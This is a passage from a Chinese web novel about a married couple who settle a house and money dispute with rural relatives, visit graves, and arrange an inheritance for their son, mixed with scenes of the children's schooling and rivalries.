“但也不能苛待你们这些做长辈的吧。” 杨梅娟摆摆手, “别提了。” 一般她这样说就是给别人猜测的机会, 基本上她这一说就以为是沈介舟他们的错。 那人端着碗, 也是一脸八卦劲。 “说起这个沈介舟对别人真的比你们这些长辈还好。”她可是瞧见了,沈介舟拿着东西去杨梅娟邻居家去了。 没点亲戚,没点利益的,他这样干, 那不是当众给杨洪娟没脸吗? 杨梅娟脸一绿,她果然最在乎的还是自家住着的沈介舟的房子。 她不怎么提这事, 沈介舟也在城里住上别墅了。 在乎村里当初买的这一亩三分地干嘛,真的是越有钱越小气。 杨梅娟心序不齐, 还真想去邻居家看看是怎么回事。 纪悠招呼住了人,“婶婶,你先前说要给我们摘的特产橘子怎么没有摘好。” 杨梅娟‘啊’了一声, 她那不是客气一下,她怎么当真了?而且她不是一向嫌弃村里的东西吗? 纪悠耸耸肩,水果又不一样。 比起城里的,就是村子里的香甜一点。 八卦这人看不下去了,“这怎么说也是你的长辈,你怎么让人干这干那的。” 纪悠好笑地看了杨梅娟一眼,“你在外人面前是这样说的吗?” 外人:“……” 虽然不知道是怎么回事?但是比起杨洪娟的‘别提了’,纪悠的这句‘在外人面前这样说的’更有杀伤力。 因为杨梅娟确实是个爱搬弄是非的主。 她一时被八卦入了神,竟然又和人评论起了沈介舟小两口的是非。 说到底,叶家的事和她有什么关系。 她连忙摆手,“我回去吃饭了,回去吃饭了。” 杨梅娟是有苦说不出,就算她知道纪悠在抹黑她,但她也在用同样的方式在摸黑纪悠。 谁知道她先前一直在客气,但纪悠是一点都不客气。 连她的阴阳都照单全收,就为了刁难她。 杨梅娟讪笑,“我没说啥,都是人自己想的,我也不能控制别人想啥啊。” 纪悠挑眉,接着冲着人露出甜甜的笑。 “既然这样能麻烦你吗?我的两个孩子都还等着吃呢。” 杨梅娟闭上眼,她们家一个个懒出升天的,沈介舟有的地荒废,也不愿种,租出去一次自家去偷过菜,名声臭了,就再也没人租过她家的。 现在想吃,需要去借别人家的呢。 “我知道了,这就去给你弄。” 纪悠点头,此刻也没心情管她,拿出小暖风机找了个插电口就用上了。 她来这为了舒服点,也是做了充足的准备的。 杨梅娟边收拾框子边气的不轻,开始心疼电费。 沈介舟就是这时候回来了,他来的方向不是从邻居家,而是从外面,杨梅娟仔细瞧了一眼,放下了心。 纪悠则是无语地白了人一眼,原来人早有准备,白瞎了她给人打掩护。 “做什么去了?” “去给你买腊肠了,你不是想吃嘛?” 纪悠显然记不清了,杨梅娟说家里寡淡,她吃什么的时候,她像是报菜谱一样说了几道菜。 说完之后就全然忘了。 结果这一家人比她记得还清也是没谁了。 她直接一揽手,“都放着吧,等婶婶去买完之后也放这吧。” 她想吃的时候,自然会去吃。 现在刚吃完午饭,再吃这么多肯定要撑着了。 沈介舟听话把腊肠放下,他在这方面其实有私心,他想让纪悠多体验体验一下他过的生活和走过的路。 这样会让他觉得两人好像走的更近了点。 两人看起来亲密无间,尤其是沈介舟还给人拿来了毛毯,杨梅娟不想看到别的有钱女人的幸福生活。 之前一直觉得沈介舟对这个女人真谄媚啊,现在看着,更是讨好的没边了。 暗暗唾弃了一口,这才离开。 纪悠闭上眼,农村就这点好,风景好空气好,在最高层往下看,坐在竹椅上,盖着毛毯晃悠晃悠的,竹子咯吱的声音都格外有意思。 等人走后,纪悠睁开一只眼。 “行了,人已经走了。” 这句话的意思就是人走了,已经不用再演戏了。 沈介舟笑了笑,给人倒茶的动作没停下。 纪悠拖着腮,“如果你实在闲着无聊,可以去看看孩子们在干嘛,别打起来了。” 这俩孩子来到这,作业也不能懈怠,有寒假作业,也有明如意布置的作业,她规定了,一天写两页。 还只有一张书桌,所以现在,谁知道两个小孩安不安分呢。 沈介舟对林叙白的自律性是很信任的。 “叙白他,绝对不会的。” 纪悠抬眼看了人一眼,林叙白不会,那向晨呢? 两人在一起,别指望向晨能安分了。 不安分的结果就是话格外的多。 沈介舟乖乖闭嘴,进屋看小孩去了,两个小孩坐在桌子上,没打没闹,但向晨气的脸红脖子粗的。 所以这是怎么了? 纪向晨惊喜抬眼,发现不是妈妈后眼神暗淡了一瞬,随即觉得沈介舟作为大人,也能主持公道。 “林叙白他,也太狂妄了。” 沈介舟疑惑,“这是怎么了?” 纪向晨‘切’了声,他先前就让林叙白教他学习了,现在时不时的问一嘴。 因为他的扑克脸,他是真不知道答案说的对不对。 这次,他也问了。 结果他说让他就闭着眼做,那不是嘲笑他闭着眼也该会做的题他都不回做吗? 沈介舟大手拿起卷子,“这好像不是你的寒假作业啊,向晨。” 纪向晨:“……” 他有个毛病,那就是让他做什么,他就最不爱做什么,等他回过神来,已经拿着别的东西做的不知天地为何物了。 这是这原先桌子里面的试卷,不想输给这个讨厌的小孩。 他试了几道题,结果这人对了,他都不会。 果然讨厌的人,是最强的催化剂。 换做以往,他才没这么快去问林叙白的,都得自己先研究一番。 结果他说什么?说‘不动脑子就该想出来了’。 纪向晨瞪大眼,这意思不就是别人不动脑子都能想出来的问题他却不会吗? 纪向晨服了,他气了。 但林叙白却说他不是那意思,那他能是啥意思?! 林叙白认真解释,“因为你总是在题目上乱想,小学生题目该是什么就是什么,没有这么复杂的。” 向晨脑子活,总是担心这担心那。 就比如,五个苹果里有三个坏苹果,最后还剩下几个苹果,他却非得说三个臭皮匠顶一个诸葛亮,所以是四个。 他想说,知识不是这么混着学的。 到这一步,他才说让他只注意看题目就行了,别想东想西。 完全没有向晨所说的嘲笑意思。 林叙白看着纪向晨,表情非常认真。 纪向晨则是,“什么小学题目,你还批判对比起小学题目了,你不是小学生吗?!” 林叙白:“……” 好的,又绕歪了。 这么不费吹灰之力解决了纠纷,他是不是也该庆幸向晨的脑回路非比寻常。 沈介舟在旁边也张张嘴,随后他觉得,好像不插手两人的情况会更好一点。 但转眼,向晨又因为别的事被叙白气的脸红脖子粗了。 沈介舟沉吟,这么看,也是神奇。 —— 纪悠当初选中这个孩子的屋子也是有原因的,屋子里到处都是蜘蛛网之类的,也就这屋干净点了。 谁让这屋子里的人,对孩子算是拿出了最大的勤劳和心力呢。 此刻回屋,看见两个孩子安静的样子,和白天在外面都能听见的吵闹不同。 “怎么了,没力气了?” 纪向晨支支吾吾,最后不服气的撇嘴,“最后发现他说的有点道理。” 纪悠笑了,这就是吵架吵到最后发现对方是对的,最后的屈服吗? 这很向晨了。 纪悠知道这两人待在一起磁场不和,但是呢,这地方的外面,不怎么太平,更别提这地方,他们环境不熟悉。 她和沈介舟有点事,一个人看着孩子太累了。 不如就让向晨和林叙白在一起吵架,也分散分散向晨过分的热情。 “我洗个脚,给你们暖了两瓶奶记得喝。” 纪向晨嗯嗯点头,然后去地锅上开大锅里,他想,回到农村可能最开心的就是能吃上地锅饭了。 去到城里,什么都好,就是没有吃这个来的香。 纪悠则是打算等人拿好奶,她好用剩下的热水泡脚。 她脱了鞋之后,还没动作,沈介舟就把水端了过来。 纪悠沉思,在这里,哪怕为了演戏也未免有些太放下身段了吧。 她收了脚踝,“你应该知道你不用做到这种程度的吧。” 如果只是为了在外营造出没有主见的样子的话,只需要做做样子就够了。 沈介舟想了想,“我大概是入戏派的。” 一旦演戏,那就要全神贯注。 纪悠挑了下眉,既然人家心甘情愿,那她还说什么好,“那就这样,随你好了。” 反正她只需要享受就行。 纪悠试了一下,发现水温居然也正好,沈介舟的性格可真是细致入微型的啊。 —— 隔天,纪悠把桌子上小孩的作业检查了一遍,垃圾也收拾了。 当然只是向晨的。 外面吵吵嚷嚷,让她干活都不省心,她走出去靠在墙上,“这是怎么了?” 杨梅娟大怒,“你说怎么了?你男人居然让人把我们家的东西全都丢出去了。” 沈介舟一个人做不了,找了一些人过来。 这些人身强力壮,站在那就像是一堵山,让人不敢冒犯。 他们胸口上戴着标识,这算是搬家公司? 纪悠有点想笑,尤其是当着人的面她就更想笑了。 “这本来就是沈介舟的房子吧,那帮你们搬回去又有什么不对。” “你们这么有钱了,这小地方的房子在意这么多干嘛啊?” 杨梅娟是真觉得他们两口子一个赛一个点奇葩,一个把他们住在这的人当佣人,一个因为房产是他的就费劲心思把他们赶出去。 这还有没有天理啊,他们可是帮人照顾了这么久的长辈啊。 “这话可就没道理了,蚂蚁再小也是肉嘛。” 纪悠做生意也是,不会因为这部分生意小就不愿意做的。 “但既然是在意钱,你们只要把钱出了那不是想住多久住多久?” 纪悠铺垫到这觉得也够了,她还没找人要铺垫费用呢,她打了个哈欠,混当就是给杨梅娟点不痛快。 沈介舟就是这时候来的,他额头是汗,看纪悠没吃亏又松了口气。 他就是这样,想到人不会这么容易吃亏,但还是忍不住。 他算过家里房子的市场价格,对比那份别人的随礼,只能说是只多不少。 但他不在意,为了姥姥的遗愿。 “只要这么些钱就够了。” 杨梅娟瞪大眼睛,觉得这话沈介舟也说的出口,几万块,他还‘只’。 原先他们家都想好用这笔钱来干嘛了。 孙子的上学费用,儿子当年娶媳妇借的钱,房子也能好好的修缮一番重新住。 现在让她们把这份钱全部掏出去那简直让她浑身滴血—— 作者有话说:恢复更新 第 50 章 更新 “那就搬出去。” 沈介舟也很直接, 懒得和杨梅娟掰扯。 不如说掰扯没用。 他就想要钱,但杨梅娟很明显是钱和房子都想要。 他这一表态,工作人员自然是能搬的继续搬, 其中不包括彩电冰箱这些,这些原本就是沈介舟花钱买的, 自然该在房子里面。 于是打包送走的只有一些破烂衣服。 杨梅娟想去拦,但人身强体壮的,她哪里是对手, 最后耍赖似的一屁股坐在地上, 意思就是如果再搬东西她就要撒泼打滚了。 俗话说人不要脸, 很无敌。 周围的乡亲原本就被这些搬家公司的人好奇吸引来了, 现在看杨梅娟这阵仗,顿时七嘴八舌的问起来怎么回事了。 杨梅娟大声控诉沈介舟的薄情寡义。 但是这次乡亲们显然不站在杨梅娟这边了,谁家没有一点糟污事, 最多的就是房子财产的纠纷。 等到分家分财产的时候, 多亲的人都能为了点东西撕破脸皮。 现在更别提这是沈介舟的一整套房子了。 人也稀奇, 这房子杨梅娟家住了快七八年,他们都快以为这房子就是杨家已经从沈介舟手里买来了。 结果人没买,就这样厚着脸皮硬住着。 现在沈介舟回来了,还想着独占家里的这点家财。 他们直接联想到自己周围的那点子奇葩亲戚。 帮人帮久了, 人还觉得是应该的。 不给了就开始闹。 于是一个个对着杨梅娟脸不是脸,鼻子不是鼻子的, “话说你们家这刚刚办了葬礼,不是有点钱吗?怎么不买下来算了。” 杨梅娟不可置信, 那她花的那些钱就不算了吗? 谁不知道葬礼本来就是赔钱的。 花了这种酒席钱,结果还拿不到上礼钱,他们不是纯吃亏。 乡亲们自然还是能看出来点端倪的, “你说你们平日里这么穷,怎么办礼的时候花了这么多钱,恐怕都是别人给的吧。” 他们看起来,可不像是为了那老太花这么多钱的样子。 众人只是不说,但心里门清。 杨梅娟咬牙,那他们也能从这笔钱里面扣取一点啊,还不是她家男人,嘴里说着克扣了好几年了,人死了,还是得办好一点。 防止人在夜里找他的事,还能在外头挣个好名声。 这不是既怂又要脸面。 现在搞得她里外不是人。 杨梅娟拍拍屁股从地上站起来了,“反正这事我做不了主,你们自己找老叶家的去吧。” 这事她是真做不了主,什么钱和证明不都在她男人手里攥着。 一个个的,也别净都来难为她。 她甩袖走人,沈介舟也找到了叶父,叶父一直是个老旧概念,什么都不干,抽烟喝酒各种坏习惯全都占,还想着家里人来伺候他。 他儿子算是比他好一点,但也就一点点。 总归是不能撑起整个家的。 于是家里每况愈下,这么些年入不敷出,靠的是沈介舟每个月的补贴。 他补贴给的太多,有时候真让他们觉得他们在这个村子里过上了相当不错的日子。 陪人打牌,送孩子上补习班。 总归是不错的。 所以现在人死了,他们拿不到沈介舟给的钱,要想维持之后的日子只能靠这点子随礼的钱还有沈介舟原本有的大房子了。 所以现在叶父很不甘心,不甘心把房子或者钱就给了沈介舟。 但现在人又铁了心,叶父也只能想些阴招了。 “你说你要这些随礼钱,但你也知道家里她自从老了之后又不能下地不能干啥的,怎么有人情往来。” 自然的也就没有钱。 “这边是随礼的一万块,都给你,总行了吧。” 沈介舟笑了声,就是因为叶父是这样的人,他才会想问邻居具体是多少钱。 他知道,随礼钱远不止这么点。 叶父他在某种方面也真是够贪的。 “三万三千六百五十,我要这么多。” 叶父瞪大眼睛,沈介舟竟然已经把上礼的钱的具体金额数目已经搞得一清二楚了? 他怎么会知道的? “你就是把我卖了我也搞不出这么多钱哦。” 沈介舟把一些联系方式摆上,“如果卖了你,也还是能搞出一些钱的。” 叶父做事情大手大脚,沈介舟在这阵子回来后就已经在外面的牌局上欠了一笔不小的钱。 他壮阔惯了,众人以为这钱是他暂时没有的,于是也愿意借给他中转。 如果被他们知道,这笔钱他再也还不上。 叶父的结局想来也不会怎么好。 这笔钱总体来看绝对不是什么小数目。 叶父咽了下口水,觉得这就是城里人吗?沈介舟居然都把一切打听的清清楚楚后才过来找上门来。 这些人确实不是好惹的啊。 “你到底想怎么样?” “我要这些钱。” 叶父:“那我这些钱就还不上了,那结局不都是一样的吗?” 沈介舟冷漠,“那这就是你自己的事了,前提是,如果你不还,这些人找上门的速度更快一点。” 所以整体来说,让叶父自己看着办吧。 叶父闭上眼,此刻明白沈介舟这小子从一开始就没打算给他留后路。 “行,我把钱给你。” 沈介舟没有彻底放下心,等拿到钱,数清楚核对真假之后再正式签订了合同。 这笔账对他来说确实算亏,但是能拿回这笔钱就行。 而且还有一个点,是这个房子,叶父也不一定保得住。 既然在外欠了钱,那欠债还钱不该是天经地义的吗? 他不还,到时候也会有无数的手段逼人去还,房子抵押就是条件之一,到时候,人多半还是得灰溜溜的从这个房子里被赶出去。 纪悠双手插兜,“既然事情都解决了,那现在是不是也该回去了。” 沈介舟抿唇,虽然回到这有很多事,但是能和人重新相处仔细想来还蛮好的。 大概有很久,没能和她同住在一个房子里了。 “我去祭拜一下我姥姥。” “可以。” 纪悠和人一起,主要是墓地就再路上,开着转个弯就到了,干脆顺路就走了就行了,也不用折返了。 沈介舟自然应允,那就先收拾行李后就出发。 现在还不流行火葬,是棺材。 在山坡上找个地方埋再弄个碑,沈介舟拜完之后,和人谈论起,“这段时间在这的日子还蛮好的。” 纪悠想了想,觉得,‘还行吧。’ 只是人如果做了这么周全的准备那就根本不需要在人前演戏了,后续还做的这么认真。 纪悠挑了下眉,“心思不正啊,沈总。” 而且,从这上面,时不时可以看出沈介舟的癖好。 没想到在外面人模人样的沈总,原来喜欢的是这个调调,被人包养的小白脸剧本?伺候人? 其实这在某种层面上来说,和她倒是挺搭调的。 沈介舟并不否认,“你可以当做这是在谈恋爱。” 两人已经结婚了,现在才谈恋爱吗?纪悠看了人一眼。 沈介舟这下显然误会了这个眼神的意思,自习思衬了下,又重新说了一遍。 “如果连恋爱也算不上的话,你可以把这理解成追求。” 追求的话,这就很合理了吧。 比起旁人,至少他还有个婚约存在,这和别人比,真是天大的优势。 “你这番话在林墨面前说,真的没问题吗?” 纪悠记得,林墨当时的尸体因为没有人在意,所以是交给沈介舟处理的,他怎么处理的,该不会是送到他的家乡里来的吧。 纪悠边说边还看看,因为她觉得真的有可能。 但最后好像错了。 因为沈介舟否认了,“他的尸体被我火化,在城里买了个墓地了。” “为什么?” “大概是因为,我们俩都不想回到家。” 纪悠迟疑,那这意思是,他在林墨的墓地旁边难不成还给自己买了块墓地。 这还,“你们这兄弟当的,是不是有点暧昧了。” 沈介舟:“……” 不知道她想的什么,但感觉她的想法一定是朝不知名的方向偏了。 他给人买墓地,无论怎么看都只能说是仗义吧,‘暧昧’这个特殊意味的词是怎么搞的。 纪悠也没卖关子,因为她是真的还挺好奇的。 沈介舟:“……” 正常人,应该都不会搞出这种事,“等我死了,会再买的。” 纪悠不再调笑他,于是说了句,“这好吧。” 沈介舟开车把人送了回去。 首先来接的就是这个别墅原先的主人许清则。 因为两人的合作关系,这来找的频率明显是越来越高了,他们这才一共走了不到一个星期吧。 纪悠也觉得这合作方有点太粘人了。 许清则非常正经的表示,“我们的事业可是刚在起步期哎,你跑到一个这么穷酸这么联系不到的地方我真的是会很操心哎。” 纪悠按住人越凑越近的肩膀。 “如果你连这种小问题都解决不好的话,那我们也没必要当合作放了。” 许清则:“……” 行,他中意的大佬还是一如既往的对他不客气。 他还以为人走了之后,会在乡下认识到沈介舟的坏和他的好呢。 结果现在,居然是反着来的吗? 许清则瞬间勾起一个不太美妙的笑,“我家昭然在陆家已经多上一个星期的课了,还是赶紧吧孩子送过去,别耽误上课比较好吧。” 纪悠点点头,觉得这段话倒是有点道理。 许清则看人点头,像是拿了什么御令一样,看了一眼沈介舟,“那就麻烦沈总了。” 沈介舟当然可以送,但这种话,“轮不到你对我说。” 就算他和她婚姻中遇到了一点问题,那也轮不到许清则插嘴。 他在这里面算是什么?一个合作的同事而已。《 》 【正文完】 第 51 章 正文完 许清则‘啧’了一声, 看了一眼不说话的纪悠,顿时觉得两人回村发生了什么他不知道的事。 沈介舟的变化显而易见。 但比起和他纠缠,沈介舟明显更在意纪悠的态度。 他按着两个孩子的肩膀像是等会就要把他们送去补习。 明显地, 这是最符合纪悠心意的。 许清则:…… 莫名的感觉到有点不对是怎么回事?而且还是种隐隐的输感,尤其是见到纪悠赞赏的眼神后。 许清则瞪大眼睛, 该死的沈介舟,什么时候变得这么绿茶了。 临走前沈介舟有点在意的问道,“这次过年你会回来一起过吗?” 纪悠淡淡地瞥了一眼他, 随即笑了笑。 “不会。” 许清则还没来得及露出嘲笑的笑容, 接着就听人继续道, “如果陆家邀请的话, 说不定会在陆家过呢。” 许清则:“……” 想来无论如何陆家也不会邀请他。 沈介舟没再说话,而是上了车,两个孩子都在后座安静的很。 林叙白很正常, 纪向晨则是不正常, 透过后视镜能看见他的眼神乱飘, 颇有点鬼马精灵那味了。 纪向晨从回来就很兴奋,因为回到家就可以看见陆昭然 毕竟他已经,伸出手指数了数,已经九天没看见昭然了。 大概是从来没有期待和朋友见面的情绪, 纪向晨回看自家别墅,有种把昭然邀请去他家玩的冲动。 走的时候就已经有这种想法了, 只是没来得及实施。 现在看来,这种时候不是正好吗? 至于现在的安静, 纪向晨眼珠子转了一圈,他小但不代表着他傻。 在他看来,谁喜欢妈妈都是再正常不过的事, 更何况两个本来就和妈妈关系匪浅的人物。 他不说话的意思,是他不表态。 把一切都交给妈妈做主。 纪向晨双手叉腰,得意地哼哼两声。 沈介舟从口袋里掏出巧克力,“给向晨的。” 纪向晨稀奇,林叙白居然没有,不过本身就只有他爱吃巧克力。 “讨好我是没用的哦,我可不会为了一点巧克力站在你这边。” 沈介舟笑了笑,所以刚刚的感受不是错觉。 “你居然看出来了吗?” 纪向晨瞪大眼睛,“别把我当小孩子。” 这种事,就算是小孩子也该懂了,这么浓烈的火药味。 这件事上沈介舟要解释下,“没把你当小孩子。” 向晨一直是她的骑士,小小年纪,已经有了正确的价值观,所以怎么能把他当成彻底的小孩看呢。 只是稀奇他小小年纪,居然能看懂大人的感情。 他看着纪向晨横眉冷对,慢慢解释说,“这你放心,我会优先获得你妈妈的同意。” 只是,为什么拒绝了和他回去过年的想法?既然她愿意陪他回老家,那回那栋别墅过年应该是一件更小的事啊。 所以归根到底,还是他太想当然了吗? 一路上沉浸不语,纪向晨被送到学校,两个大概一个星期没见到小孩快速的抱在了一起,明显的,比起这一对,另外一对要更成熟一点。 许言疏好奇的问,“在乡下这段时间有没有耽误你的学业。” “很明显不会,不然试试看。” 林叙白对这点是很自信的,他在乡下也没有偷懒,两人在寒假在这学习的内容是一样的。 许言疏也就在这时候才看出两人的差别到底有多大。 许言疏嘴角勾着,似乎连笑都带着几分不爽利,这大概是从来都是第一,但是突然出现一个人,全方位的打压你,正常人都会觉得不爽。 沈介舟上了车,他有点事,但这件事他需要和林叙白说一下。 他思前想后还是解开安全带下了车。 “我要去给你爸上柱香,你要跟着一起吗?” 林叙白不知道怎么说,当他看见她和向晨这么痛苦之后,他是不明白爸爸的。 但不可否认的,他享受了爸爸全方位的爱。 那大概是一种投射,但他享受到了,就还是要承担一些的。 林叔白看向周围的人,随即转头回来,“会耽误很长时间吗?” 沈介舟想了想,“不会。” ‘那就行。’ 林叙白脸上透露出这样的神色,他坐上车,由着沈叔叔开车把他送去墓地。 沈介舟买了菊花和纸钱,这里的墓地并不便宜,有花有固定人打理,就算他不来,也会有人给他烧纸钱。 这也是他选择这里的原因。 他知道两人的亲戚都是不负责的,就连他,也不可能常来看他。 不如一劳永逸,选择一个这样的墓地。 每当他得空的时候,才会想着过来看一眼。 想到纪悠说的和兄弟合葬墓地,沈介舟捂着额头,成人他确实没想过一点。 沈介舟去到墓地庞,周边有刚烧的灰,不知道是因为迷信,还是因为别的什么,他当时让人按照月份在死亡纪念日的当天给他烧个纸钱。 因为这,是他的救命恩人。 现在这时期算起来,就是墓园人员给他烧的纸钱吧。 沈介舟蹲下身,也把他带来的纸钱和铁盆放在地上,这东西,墓园里都有卖。 他一言不发的烧完。 之前他觉得林墨做的一切,都是有苦衷的,现在他又觉得,他也是加害者的一员。 因为不幸,报复不幸。 他并不认为林墨所做的一切都是对的,或许他当初并不反对和她生出第二个孩子都是为了这一刻。 但向晨被她教育的不同,这是斩断了仇恨的锁链。 他在某些方面已经开始不认同林墨了。 但当成的兄弟情谊又是实实在在的,他站起身,等着火焰烧完。 “很抱歉,现在才带着叙白回来看你。” 先前为了孩子,做了太多的事了,等一切处理的差不多了居然已经到了现在。 其实这次来,他只是有一件事想说,“你的孩子我以后会帮你照顾好的。” 大概是帮你照顾妻子这件事,在人的墓碑前说出来太过厚颜无耻,沈介舟咳嗽两声,最后还是选择住了嘴。 林叙白看了沈叔叔一眼,似有所觉的闭上眼,等再睁开他和爸爸说了一些告别的话。 等下山的时候,林叙白好像有点明白沈叔叔为什么带着他来了。 —— 因为林叙白的原因,课程往后推了一个小时,两个孩子全都是第一次回到课堂上,最受关注的居然不是迟到的林叙白,而是乖乖到场的纪向晨。 作为小组里面唯一一个问题成员,他自然得到了明老师的重点关注。 他的新课堂礼物是一份试卷。 刚出的,九九新,因为是明老师根据他的水平当着他面出的。 纪向晨咽了下口水,不得不说,还蛮紧张的嘛。 这种程度,比考试还要多一点。 他严肃坐下,用一个小时完成考试再交给老师批改。 最后得到的分数及格了。 大大的六十飘在试卷上,像是知道向晨的志气就这么点大,所以达到及格的目标老师也替他开心。 但同时,还有点郁闷。 “怎么?是我教的课不对你的口味了。” 居然在去乡下的几天时间里面,就超过原先的成绩这么多。 这合适吗?这不太合适吧。 纪向晨也有点稀罕,“原来他说的让我做题的时候不要多想居然是真的有用吗?” 他这次是纯按照题目的意思来做的,虽然正确了,但是好没意思啊。 果然他就不是学习的那块料。 他趴在桌子上,满脸的郁闷,但谁让他是个知恩图报的孩子,得到好处,那自然就得感谢了。 他口袋里带着奶糖找到了林叙白,竖起手指大大夸赞了他。 “你先前说的办法不错。” 林叙白一时脑子有点懵,在教向晨学习上面,他说了什么方法了吗? “你指的是?” 纪向晨不可置信,“当然是你说对让我做题时候不要想太多啊。” 林叙白顿了一下,因为他觉得,这根本不算什么学习技巧。 但因为这事,向晨还专门跑过来谢他。 林叙白勾起一抹愉悦的笑,“在学习上面,我从不骗人。” 纪向晨也不知道自己是怎么了,谢完之后林叙白的反应让他特别不痛快。 是在阴阳?炫耀?还是在干嘛? 难道正常不该说是‘你领悟的很好这种话吗?’ 纪向晨‘切’了一声,既然谢过了,那就没必要搭理他了。 他转身就走。 林叙白坐在位置上,完全看不出向晨因为什么生气,他看向许言疏,许言疏大概有点理解。 因为他近期也和纪向晨一样,有种被秀一脸的窝囊感。 但如果说出来,感觉他就和纪向晨的水平一致一样。 所以有些话,有些事是万万不能说出口的。 所以,“你弟先前邀请我弟去他家玩,他问我要不要一起,你呢?” 并没有被邀请的林叙:“……” 许言疏笑了笑,大概是知道弱点,所以更能把握住对方。 他承认他开始有点开心了。 “其实我也已经跟我弟说过你也要去,向晨当时也在场,没有什么反对的表情。” 林叙白点头,“那谢谢了。” 因为他也在想怎么开口能不讨人嫌一点,他从不会因为集体活动不带他感到失落。 但现在那是她的家。 她现在居住的地方。 于是,下了课,他们四个小孩就被司机送到家里去了。 现在的家里很大很空,因为临走时扑了步,所以家里并不显得多脏,而且多一个人,还可以多一个人帮忙大扫除。 纪向晨认为在这方面,他还是蛮精打细算的。 —— 沈介舟今天去接林叙白,发现林叙白不在小课堂,问是在纪悠家里。 这可真是正好,也不用折腾这么大一圈了。 他开着车去到学校附近,也就是别墅门口,里面的灯亮着,不像是她回家,更像是小孩子在展示。 因为不一会是这个房间的灯,不一会是那个房间的灯。 临近深夜,沈介舟没有去把林叙白叫出来,也没走,就在外面等着。 透过车窗,能看见他在处理一些文件。 从外人看来,这个下颚角的弧度带着一点乖巧。 至少纪悠是这样认为的。 “是要把叙白接回家吗?” 纪悠从窗外,就已经听见几个孩子的玩闹声了,如果向晨把昭然带回家,那自然的,几个孩子也不好都带回来。 她站在原地思考,她要不要回去,因为孩子的聚会。 无论大人有多么体贴,都多多少少会感受到压抑。 沈介舟抬眼,似乎能感受到这微妙的迟疑。 他全程没抬头,此刻的声音显得闷闷的,“如果你不打算进去的话,那要不要和我一起去吃个饭。” 纪悠喝了口保温杯里的水,“怎么?你和许清则是杠上了吗?” 一个两个的都邀请她吃饭。 沈介舟当然听懂了这潜台词,他握紧了手里的笔,“不是和他杠上,再说了,你不是本来也不打算进去吗?” 纪悠摸了摸下巴,承认他这句话倒是说对了。 两人很快就找到一家咖啡店,不吃正餐,是因为做饭太慢,等他们回去,天彻底黑了,也就处理不了几个孩子的事了。 沈介舟全程似乎有话要说,但因为这段话需要勇气,所以顿在那全程看向菜单。 比起看菜单,更像是思考之后的征神。 纪悠看不下去了,“如果有什么话直说就是了。” 沈介舟握紧了拳,首先问了最在意的问题。 “……今年过年我以为你会回来住几天。” 纪悠拖着下巴,“我愿意陪你回去,其实是我觉得乡下会有意思。” 沈介舟最在意的姥姥死了,那他回去肯定是会找事,所以纪悠愿意去图个乐呵。 过年呢,一家四口,本身就有着固定的联盟,固定的关系,甚至期中还有着数不清的丝线维持和崩坏着其中的很多关系。 所以,还是不聚在一起最好。 在乡下,他们是一个联盟,过年,可就不是了。 既然如此,那她为什么要回去。 回去不就是给她的孩子添堵吗?尤其她奋斗至今,为的不就是为了让他的孩子拥有一切吗? 那么,有钱有独立的空间,对向晨来说就够了。 沈介舟愣了下,在现在才明白纪悠的深思熟虑。 “抛去我们俩现在的夫妻关系,其实我在追求你。” 纪悠喝了口咖啡,又轻轻放下。 她好像今天没有熬夜的打算,失策了,她该随便去个西餐厅的。 至于沈介舟的这句话,她没好气,“我应该还不至于这么傻,连这点事都看不出来。” 沈介舟握紧拳头,“那我比许清则有优势。” “如果你是指的我们俩的婚约的话,那优势其实也不重要。” 许清则自从想开之后,他就从没想过当他的婚姻对象,也就是说,他想当三,他的意思是‘刺激’。 大概是没见过这样子的男人,纪悠琢磨清楚之后,有种被舔上来的抵触感。 但偏偏这样的人,是她的合作伙伴。 有一种关系,也是真的没辙啊。 纪悠此刻觉得喉咙干渴,把杯子里的咖啡一饮而尽,其实在她累了的情况下,咖啡好像也确实抵不了什么用处。 半天没有回音,纪悠认识到她似乎有点猜测错了。 “所以呢,你的优势到底是什么?” “是我的遗产。” 沈介舟抬眸,这件事他在路上已经和叙白完全商量过了,叙白的原话是,‘沈叔叔,我能照顾好我自己了,如果你想去追求的话,那你就去做吧。’ 所以他会好好照顾林墨的孩子到十八岁,看着人成才,当做还了恩情。 而在他名下的所有资产,等死了之后的遗产,他会全部留给纪向晨。 纪悠单手捂嘴,掩饰住勾起的嘴角。 从那时候起,从知道原著的那一刻起,遗产的一半就已经不能满足她了,既然原著中遗产是全部给林叙白的,那现在,遗产就该全部给向晨,那才公平啊。 纪悠没想到,沈介舟居然能自己领悟到这一层。 “拟订好遗嘱了吗?” 沈介舟咽了下口水,“拟订好了。” 刚刚在车子上面,他就在和他的私人律师协商过了,他的全部份额。 “确定好了吗?” “你放心,是不会更改的那种,之后不会有另外一份契约,会覆盖在这之上,你可以随时检查。” 纪悠轻轻笑了,从某种程度上来讲她也是做到了呢。 她伸出去手,“那确实,我想我们两个的婚姻关系是牢不可破的。” 沈介舟现在只在意一件事。 “你会回来住吗?” “等孩子们等长大之后吧。” 等孩子长大了,上了大学了,那两人说不定能有重新住在一家别墅的可能。 毕竟那时候孩子们已经有自己的生活,那就不怎么再会见到面了啊。 那他们现在这样,还真是符合一个正经夫妻分居的情况呢,至少夫妻关系比先前要稳固太多了。《 》